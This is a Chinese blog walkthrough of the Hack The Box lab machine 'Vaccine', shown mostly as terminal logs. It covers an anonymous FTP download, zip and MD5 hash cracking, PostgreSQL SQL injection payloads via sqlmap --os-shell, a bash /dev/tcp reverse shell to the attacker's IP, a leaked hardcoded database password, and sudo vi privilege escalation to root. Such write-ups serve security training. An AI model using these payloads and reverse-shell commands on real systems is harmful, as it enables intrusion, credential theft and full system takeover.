• # HTB-Tier2- Vaccine


    HTB-Tier2- Vaccine

    在这里插入图片描述

    Web

    Network

    Vulnerability Assessment

    Databases

    Injection

    Custom Applications

    Protocols

    Source Code Analysis

    Apache

    PostgreSQL

    FTP

    PHP

    Penetration Tester Level 1

    Reconaisance

    Password Cracking

    SUDO Exploitation

    SQL Injection

    Remote Code Execution

    Clear Text Credentials

    Anonymous/Guest Access

                                                                                                                                                                                    
    ┌──(kwkl㉿kwkl)-[~/HODL/htb]
    └─$ nmap -A 10.129.142.36 -T4 
    Starting Nmap 7.91 ( https://nmap.org ) at 2022-11-17 22:23 HKT
    Nmap scan report for 10.129.142.36
    Host is up (0.87s latency).
    Not shown: 997 closed ports
    PORT   STATE SERVICE VERSION
    21/tcp open  ftp     vsftpd 3.0.3
    | ftp-anon: Anonymous FTP login allowed (FTP code 230)
    |_-rwxr-xr-x    1 0        0            2533 Apr 13  2021 backup.zip
    | ftp-syst: 
    |   STAT: 
    | FTP server status:
    |      Connected to ::ffff:10.10.16.105
    |      Logged in as ftpuser
    |      TYPE: ASCII
    |      No session bandwidth limit
    |      Session timeout in seconds is 300
    |      Control connection is plain text
    |      Data connections will be plain text
    |      At session startup, client count was 4
    |      vsFTPd 3.0.3 - secure, fast, stable
    |_End of status
    22/tcp open  ssh     OpenSSH 8.0p1 Ubuntu 6ubuntu0.1 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   3072 c0:ee:58:07:75:34:b0:0b:91:65:b2:59:56:95:27:a4 (RSA)
    |   256 ac:6e:81:18:89:22:d7:a7:41:7d:81:4f:1b:b8:b2:51 (ECDSA)
    |_  256 42:5b:c3:21:df:ef:a2:0b:c9:5e:03:42:1d:69:d0:28 (ED25519)
    80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
    | http-cookie-flags: 
    |   /: 
    |     PHPSESSID: 
    |_      httponly flag not set
    |_http-server-header: Apache/2.4.41 (Ubuntu)
    |_http-title: MegaCorp Login
    Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 169.53 seconds
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    ┌──(kwkl㉿kwkl)-[~/HODL/htb]
    └─$ ftp Anonymous@10.129.142.36
    ftp: Anonymous@10.129.142.36: Name or service not known
    ftp> 
    ftp> 
    ftp> dir
    Not connected.
    ftp> ldir
    ?Invalid command
    ftp> h
    ?Ambiguous command
    ftp> help
    Commands may be abbreviated.  Commands are:
    
    !               dir             mdelete         qc              site
    $               disconnect      mdir            sendport        size
    account         exit            mget            put             status
    append          form            mkdir           pwd             struct
    ascii           get             mls             quit            system
    bell            glob            mode            quote           sunique
    binary          hash            modtime         recv            tenex
    bye             help            mput            reget           tick
    case            idle            newer           rstatus         trace
    cd              image           nmap            rhelp           type
    cdup            ipany           nlist           rename          user
    chmod           ipv4            ntrans          reset           umask
    close           ipv6            open            restart         verbose
    cr              lcd             prompt          rmdir           ?
    delete          ls              passive         runique
    debug           macdef          proxy           send
    ftp> open 10.129.142.36
    Connected to 10.129.142.36.
    220 (vsFTPd 3.0.3)
    Name (10.129.142.36:kwkl): anonymous
    331 Please specify the password.
    Password:
    230 Login successful.
    Remote system type is UNIX.
    Using binary mode to transfer files.
    ftp> dir
    200 PORT command successful. Consider using PASV.
    150 Here comes the directory listing.
    -rwxr-xr-x    1 0        0            2533 Apr 13  2021 backup.zip
    226 Directory send OK.
    ftp> get backup.zip
    local: backup.zip remote: backup.zip
    200 PORT command successful. Consider using PASV.
    150 Opening BINARY mode data connection for backup.zip (2533 bytes).
    226 Transfer complete.
    2533 bytes received in 0.30 secs (8.2538 kB/s)
    ftp> 
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    ┌──(kwkl㉿kwkl)-[~/HODL/htb]
    └─$ unzip -x backup.zip  -d ./vaccine
    Archive:  backup.zip
    [backup.zip] index.php password: 
    password incorrect--reenter: 
       skipping: index.php               incorrect password
       skipping: style.css               incorrect password
                                                                                                                                                                                    
    ┌──(kwkl㉿kwkl)-[~/HODL/htb]
    └─$ zip2john backup.zip >> vaccinepassword.txt                                                                                                                             82 ⨯
    ver 2.0 efh 5455 efh 7875 backup.zip/index.php PKZIP Encr: TS_chk, cmplen=1201, decmplen=2594, crc=3A41AE06 ts=5722 cs=5722 type=8
    ver 2.0 efh 5455 efh 7875 backup.zip/style.css PKZIP Encr: TS_chk, cmplen=986, decmplen=3274, crc=1B1CCD6A ts=989A cs=989a type=8
    NOTE: It is assumed that all files in each archive have the same password.
    If that is not the case, the hash may be uncrackable. To avoid this, use
    option -o to pick a file at a time.
                                                                                                                                                                                    
    ┌──(kwkl㉿kwkl)-[~/HODL/htb]
    └─$ cat vaccinepassword.txt 
    backup.zip:$pkzip$2*1*1*0*8*24*5722*543fb39ed1a919ce7b58641a238e00f4cb3a826cfb1b8f4b225aa15c4ffda8fe72f60a82*2*0*3da*cca*1b1ccd6a*504*43*8*3da*989a*22290dc3505e51d341f31925a7ffefc181ef9f66d8d25e53c82afc7c1598fbc3fff28a17ba9d8cec9a52d66a11ac103f257e14885793fe01e26238915796640e8936073177d3e6e28915f5abf20fb2fb2354cf3b7744be3e7a0a9a798bd40b63dc00c2ceaef81beb5d3c2b94e588c58725a07fe4ef86c990872b652b3dae89b2fff1f127142c95a5c3452b997e3312db40aee19b120b85b90f8a8828a13dd114f3401142d4bb6b4e369e308cc81c26912c3d673dc23a15920764f108ed151ebc3648932f1e8befd9554b9c904f6e6f19cbded8e1cac4e48a5be2b250ddfe42f7261444fbed8f86d207578c61c45fb2f48d7984ef7dcf88ed3885aaa12b943be3682b7df461842e3566700298efad66607052bd59c0e861a7672356729e81dc326ef431c4f3a3cdaf784c15fa7eea73adf02d9272e5c35a5d934b859133082a9f0e74d31243e81b72b45ef3074c0b2a676f409ad5aad7efb32971e68adbbb4d34ed681ad638947f35f43bb33217f71cbb0ec9f876ea75c299800bd36ec81017a4938c86fc7dbe2d412ccf032a3dc98f53e22e066defeb32f00a6f91ce9119da438a327d0e6b990eec23ea820fa24d3ed2dc2a7a56e4b21f8599cc75d00a42f02c653f9168249747832500bfd5828eae19a68b84da170d2a55abeb8430d0d77e6469b89da8e0d49bb24dbfc88f27258be9cf0f7fd531a0e980b6defe1f725e55538128fe52d296b3119b7e4149da3716abac1acd841afcbf79474911196d8596f79862dea26f555c772bbd1d0601814cb0e5939ce6e4452182d23167a287c5a18464581baab1d5f7d5d58d8087b7d0ca8647481e2d4cb6bc2e63aa9bc8c5d4dfc51f9cd2a1ee12a6a44a6e64ac208365180c1fa02bf4f627d5ca5c817cc101ce689afe130e1e6682123635a6e524e2833335f3a44704de5300b8d196df50660bb4dbb7b5cb082ce78d79b4b38e8e738e26798d10502281bfed1a9bb6426bfc47ef62841079d41dbe4fd356f53afc211b04af58fe3978f0cf4b96a7a6fc7ded6e2fba800227b186ee598dbf0c14cbfa557056ca836d69e28262a060a201d005b3f2ce736caed814591e4ccde4e2ab6bdbd647b08e543b4b2a5b23bc17488464b2d0359602a45cc26e30cf166720c43d6b5a1fddcfd380a9c7240ea888638e12a4533cfee2c7040a2f293a888d6dcc0d77bf0a2270f765e5ad8bfcbb7e68762359e335dfd2a9563f1d1d9327eb39e68690a8740fc9748483ba64f1d923edfc2754fc020bbfae77d06e8c94fba2a02612c0787b60f0ee78d21a6305fb97ad04bb562db282c223667af8ad907466b88e7052072d6968acb7258fb8846da057b1448a2a9699ac0e5592e369fd6e87d677a1fe91c0d0155fd237bfd2dc49*$/pkzip$::backup.zip:style.css, index.php:backup.zip
                                                                                                                                                                                    
    ┌──(kwkl㉿kwkl)-[~/HODL/htb]
    └─$ john vaccinepassword.txt                                   
    Using default input encoding: UTF-8
    Loaded 1 password hash (PKZIP [32/64])
    Will run 12 OpenMP threads
    Proceeding with single, rules:Single
    Press 'q' or Ctrl-C to abort, almost any other key for status
    Almost done: Processing the remaining buffered candidate passwords, if any.
    Proceeding with wordlist:/usr/share/john/password.lst
    741852963        (backup.zip)     
    1g 0:00:00:00 DONE 2/3 (2022-11-17 22:33) 9.090g/s 846763p/s 846763c/s 846763C/s 123456..MATT
    Use the "--show" option to display all of the cracked passwords reliably
    Session completed. 
                                                                                                                                                                                    
    ┌──(kwkl㉿kwkl)-[~/HODL/htb]
    └─$ unzip -x backup.zip  -d ./vaccine           
    Archive:  backup.zip
    [backup.zip] index.php password: 
      inflating: ./vaccine/index.php     
      inflating: ./vaccine/style.css     
                                                                                                                                                                                    
    ┌──(kwkl㉿kwkl)-[~/HODL/htb]
    └─$ cd vaccine                     
                                                                                                                                                                                    
    ┌──(kwkl㉿kwkl)-[~/HODL/htb/vaccine]
    └─$ ls
    doexec.c  generic.h  getopt.c  getopt.h  hobbit.txt  index.php  license.txt  Makefile  nc64.exe  nc.exe  netcat.c  readme.txt  style.css
                                                                                                                                                                                    
    ┌──(kwkl㉿kwkl)-[~/HODL/htb/vaccine]
    └─$ rm -rf ./*
    zsh: sure you want to delete all 13 files in /home/kwkl/HODL/htb/vaccine/. [yn]? y
                                                                                                                                                                                    
    ┌──(kwkl㉿kwkl)-[~/HODL/htb/vaccine]
    └─$ 
                                                                                                                                                                                    
    ┌──(kwkl㉿kwkl)-[~/HODL/htb/vaccine]
    └─$ unzip -x backup.zip  -d ./vaccine
    unzip:  cannot find or open backup.zip, backup.zip.zip or backup.zip.ZIP.
                                                                                                                                                                                    
    ┌──(kwkl㉿kwkl)-[~/HODL/htb/vaccine]
    └─$ ls                                                                                                                                                                      9 ⨯
                                                                                                                                                                                    
    ┌──(kwkl㉿kwkl)-[~/HODL/htb/vaccine]
    └─$ cd ..     
                                                                                                                                                                                    
    ┌──(kwkl㉿kwkl)-[~/HODL/htb]
    └─$ unzip -x backup.zip  -d ./vaccine
    Archive:  backup.zip
    [backup.zip] index.php password: 
      inflating: ./vaccine/index.php     
      inflating: ./vaccine/style.css     
                                                                                                                                                                                    
    ┌──(kwkl㉿kwkl)-[~/HODL/htb]
    └─$ cd vaccine 
                                                                                                                                                                                    
    ┌──(kwkl㉿kwkl)-[~/HODL/htb/vaccine]
    └─$ ls
    index.php  style.css
                                                                                                                                                                                    
    ┌──(kwkl㉿kwkl)-[~/HODL/htb/vaccine]
    └─$                           
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82

    image-20221117223717824

    
    
    
    
      
      MegaCorp Login
      
    
    
      

    MegaCorp Login

    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53

    https://www.cmd5.com/

    image-20221117223836713

    or

    ┌──(kwkl㉿kwkl)-[~/HODL/htb]
    └─$ git clone https://github.com/s0md3v/Hash-Buster/
    cd Hash-Buster
    正克隆到 'Hash-Buster'...
    remote: Enumerating objects: 139, done.
    remote: Counting objects: 100% (1/1), done.
    remote: Total 139 (delta 0), reused 0 (delta 0), pack-reused 138
    接收对象中: 100% (139/139), 46.33 KiB | 179.00 KiB/s, 完成.
    处理 delta 中: 100% (48/48), 完成.
                                                                                                                                                                                    
    ┌──(kwkl㉿kwkl)-[~/HODL/htb/Hash-Buster]
    └─$ dir
    hash.py  LICENSE  makefile  README.md
                                                                                                                                                                                    
    ┌──(kwkl㉿kwkl)-[~/HODL/htb/Hash-Buster]
    └─$ python3 hash.py 2cb42f8734ea607eefed3b70af13bbd3
    usage: hash.py [-h] [-s HASH] [-f FILE] [-d DIR] [-t THREADS]
    hash.py: error: unrecognized arguments: 2cb42f8734ea607eefed3b70af13bbd3
                                                                                                                                                                                    
    ┌──(kwkl㉿kwkl)-[~/HODL/htb/Hash-Buster]
    └─$ python3 hash.py -s 2cb42f8734ea607eefed3b70af13bbd3                                                                                                                     2 ⨯
    _  _ ____ ____ _  _    ___  _  _ ____ ___ ____ ____
    |__| |__| [__  |__|    |__] |  | [__   |  |___ |__/                                                                                                                             
    |  | |  | ___] |  |    |__] |__| ___]  |  |___ |  \  v3.0                                                                                                                       
    
    [!] Hash function : MD5
    /usr/lib/python3/dist-packages/urllib3/connectionpool.py:1015: InsecureRequestWarning: Unverified HTTPS request is being made to host 'www.nitrxgen.net'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
      warnings.warn(
    qwerty789
                                                                                                                                                                                    
    ┌──(kwkl㉿kwkl)-[~/HODL/htb/Hash-Buster]
    └─$       
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32

    hashcat -m 0 hash.txt /usr/share/wordlist/pass.txt 作者:编程军火库 https://www.bilibili.com/read/cv19182714 出处:bilibili

    User :admin

    Password: qwerty789

    image-20221117234709198

    image-20221117234626192

    image-20221117234614893

                                                                                                                                                                                    
    ┌──(kwkl㉿kwkl)-[~/HODL/htb]
    └─$ sqlmap -r vaccine2.txt --os-shell
            ___
           __H__                                                                                                                                                                    
     ___ ___[(]_____ ___ ___  {1.6.10#stable}                                                                                                                                       
    |_ -| . ["]     | .'| . |                                                                                                                                                       
    |___|_  [']_|_|_|__,|  _|                                                                                                                                                       
          |_|V...       |_|   https://sqlmap.org                                                                                                                                    
    
    [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
    
    [*] starting @ 23:18:52 /2022-11-17/
    
    [23:18:52] [INFO] parsing HTTP request from 'vaccine2.txt'
    [23:18:52] [INFO] resuming back-end DBMS 'postgresql' 
    [23:18:52] [INFO] testing connection to the target URL
    sqlmap resumed the following injection point(s) from stored session:
    ---
    Parameter: search (GET)
        Type: boolean-based blind
        Title: PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)
        Payload: search=www' AND (SELECT (CASE WHEN (4666=4666) THEN NULL ELSE CAST((CHR(111)||CHR(83)||CHR(115)||CHR(121)) AS NUMERIC) END)) IS NULL-- hFAt
    
        Type: error-based
        Title: PostgreSQL AND error-based - WHERE or HAVING clause
        Payload: search=www' AND 1559=CAST((CHR(113)||CHR(122)||CHR(122)||CHR(113)||CHR(113))||(SELECT (CASE WHEN (1559=1559) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(98)||CHR(98)||CHR(113)||CHR(113)) AS NUMERIC)-- dTaz
    
        Type: stacked queries
        Title: PostgreSQL > 8.1 stacked queries (comment)
        Payload: search=www';SELECT PG_SLEEP(5)--
    
        Type: time-based blind
        Title: PostgreSQL > 8.1 AND time-based blind
        Payload: search=www' AND 3288=(SELECT 3288 FROM PG_SLEEP(5))-- fFdk
    ---
    [23:18:53] [INFO] the back-end DBMS is PostgreSQL
    web server operating system: Linux Ubuntu 19.10 or 20.10 or 20.04 (focal or eoan)
    web application technology: Apache 2.4.41
    back-end DBMS: PostgreSQL
    [23:18:53] [INFO] fingerprinting the back-end DBMS operating system
    [23:18:55] [INFO] the back-end DBMS operating system is Linux
    [23:18:58] [INFO] testing if current user is DBA
    [23:18:59] [INFO] retrieved: '1'
    [23:19:00] [INFO] going to use 'COPY ... FROM PROGRAM ...' command execution
    [23:19:00] [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER
    os-shell> bash -c "bash -i >& /dev/tcp/{your_IP}/443 0>&1"
    do you want to retrieve the command standard output? [Y/n/a] n
    [23:19:06] [WARNING] the SQL query provided does not return any output
    [23:19:06] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
    [23:19:06] [INFO] retrieved: 
    [23:19:07] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
    os-shell> bash -c "bash -i >& /dev/tcp/10.10.16.105/1234 0>&1"
    do you want to retrieve the command standard output? [Y/n/a] y
    [23:20:01] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
    [23:20:02] [WARNING] turning off pre-connect mechanism because of connection reset(s)
    [23:20:06] [WARNING] the SQL query provided does not return any output
    [23:20:06] [INFO] retrieved: 
    No output
    os-shell> bash -c "bash -i >& /dev/tcp/10.10.16.105/1234 0>&1"
    do you want to retrieve the command standard output? [Y/n/a] y
    [23:20:54] [WARNING] the SQL query provided does not return any output
    [23:20:54] [INFO] retrieved: 
    No output
    os-shell> bash -c "bash -i >& /dev/tcp/10.10.16.105/1234 0>&1"
    do you want to retrieve the command standard output? [Y/n/a] y
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    ┌──(kwkl㉿kwkl)-[~]
    └─$ nc -lvnp 1234
    listening on [any] 1234 ...
    connect to [10.10.16.105] from (UNKNOWN) [10.129.142.36] 38534
    bash: cannot set terminal process group (3596): Inappropriate ioctl for device
    bash: no job control in this shell
    postgres@vaccine:/var/lib/postgresql/11/main$ python3 -c 'import pty;pty.spawn("/bin/bash")'
    <ain$ python3 -c 'import pty;pty.spawn("/bin/bash")'
    postgres@vaccine:/var/lib/postgresql/11/main$ ^[[B^[[B^[[B^[[A^[[A^[[A^H^H^H^H^H^H^H^H^H^H^H
    
    postgres@vaccine:/var/lib/postgresql/11/main$ stty raw -echo
    stty raw -echo
    postgres@vaccine:/var/lib/postgresql/11/main$ fg
    bash: fg: current: no such job
    postgres@vaccine:/var/lib/postgresql/11/main$ export TERM=xterm
    postgres@vaccine:/var/lib/postgresql/11/main$ cd /var/lib/postgresql/
    postgres@vaccine:/var/lib/postgresql$ ls
    11  user.txt
    postgres@vaccine:/var/lib/postgresql$ a^Hcat^H
    ca: command not found
    postgres@vaccine:/var/lib/postgresql$ cat user.txt
    ec9b13ca4d6229cd5cc1e09980965bf7
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23

    cat user.txt

    ec9b13ca4d6229cd5cc1e09980965bf7

    postgres@vaccine:/var/lib/postgresql$ cd /var/www/html
    postgres@vaccine:/var/www/html$ ci^H^H
    postgres@vaccine:/var/www/html$ ls
    bg.png         dashboard.js   index.php    style.css
    dashboard.css  dashboard.php  license.txt
    postgres@vaccine:/var/www/html$ cat das ^H
    cat: dashboard: No such file or directory
    postgres@vaccine:/var/www/html$ cat dashboard.php
    <!DOCTYPE html>
    <html lang="en" >
    <head>
      <meta charset="UTF-8">
      <title>Admin Dashboard</title>
      <link rel="stylesheet" href="./dashboard.css">
      <script src="https://use.fontawesome.com/33a3739634.js"></script>
    
    </head>
    <body>
    <!-- partial:index.partial.html -->
    <body>
     <div id="wrapper">
     <div class="parent">
      <h1 align="left">MegaCorp Car Catalogue</h1>
    <form action="" method="GET">
    <div class="search-box">
      <input type="search" name="search" placeholder="Search" />
      <button type="submit" class="search-btn"><i class="fa fa-search"></i></button>
    </div>
    </form>
      </div>
      
      <table id="keywords" cellspacing="0" cellpadding="0">
        <thead>
          <tr>
            <th><span style="color: white">Name</span></th>
            <th><span style="color: white">Type</span></th>
            <th><span style="color: white">Fuel</span></th>
            <th><span style="color: white">Engine</span></th>
          </tr>
        </thead>
        <tbody>
            <?php
            session_start();
            if($_SESSION['login'] !== "true") {
              header("Location: index.php");
              die();
            }
            try {
              $conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!");
            }
    
            catch ( exception $e ) {
              echo $e->getMessage();
            }
    
            if(isset($_REQUEST['search'])) {
    
              $q = "Select * from cars where name ilike '%". $_REQUEST["search"] ."%'";
    
              $result = pg_query($conn,$q);
    
              if (!$result)
              {
                                die(pg_last_error($conn));
              }
              while($row = pg_fetch_array($result, NULL, PGSQL_NUM))
                  {
                    echo "
                      
                        $row[1]
                        $row[2]
                        $row[3]
                        $row[4]
                      ";
                }
            }
            else {
    
              $q = "Select * from cars";
    
              $result = pg_query($conn,$q);
    
              if (!$result)
              {
                                die(pg_last_error($conn));
              }
              while($row = pg_fetch_array($result, NULL, PGSQL_NUM))
                  {
                    echo "
                      
                        $row[1]
                        $row[2]
                        $row[3]
                        $row[4]
                      ";
                }
            }
    
    
          ?>
        </tbody>
      </table>
     </div> 
    </body>
    <!-- partial -->
      <script src='https://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>
    <script src='https://cdnjs.cloudflare.com/ajax/libs/jquery.tablesorter/2.28.14/js/jquery.tablesorter.min.js'></script><script  src="./dashboard.js"></script>
    
    </body>
    </html>
    postgres@vaccine:/var/www/html$ ta^H^H^H^H
    postgres@vaccine:/var/www/html$ 
    postgres@vaccine:/var/www/html$ bash: [3599: 2 (255)] tcsetattr: Inappropriate ioctl for device
    postgres@vaccine:/var/lib/postgresql/11/main$ exit
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115

    $conn = pg_connect(“host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!”);

    password=P@s5w0rd!

    postgres@vaccine:~$ sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
    [sudo] password for postgres: 
    
    # 
    
    • 1
    • 2
    • 3
    • 4

    image-20221117232415370

    image-20221117233422048

    image-20221117233447704

    postgres@vaccine:~$ sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
    [sudo] password for postgres: 
    
    # id
    uid=0(root) gid=0(root) groups=0(root)
    # ls /root
    pg_hba.conf  root.txt  snap
    # cat /roog.txt
    cat: /roog.txt: No such file or directory
    # ^[[A^[[D: not found
    # cat /root/root.txt
    dd6e058e814260bc70e9bbdef2715849
    # 
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
  • 相关阅读:
    2023年4月到7月工作经历
    设计循环队列
    太极图形课——渲染——光线追踪实战第一部分呢
    IDEA 宝贝插件
    Maven基础知识
    odoo 开发入门教程系列-约束(Constraints)
    Set集合
    SQL基础
    REST-assured简介
    如何分析伦敦金的价格走势预测?
  • 原文地址:https://blog.csdn.net/m0_47210241/article/details/127930422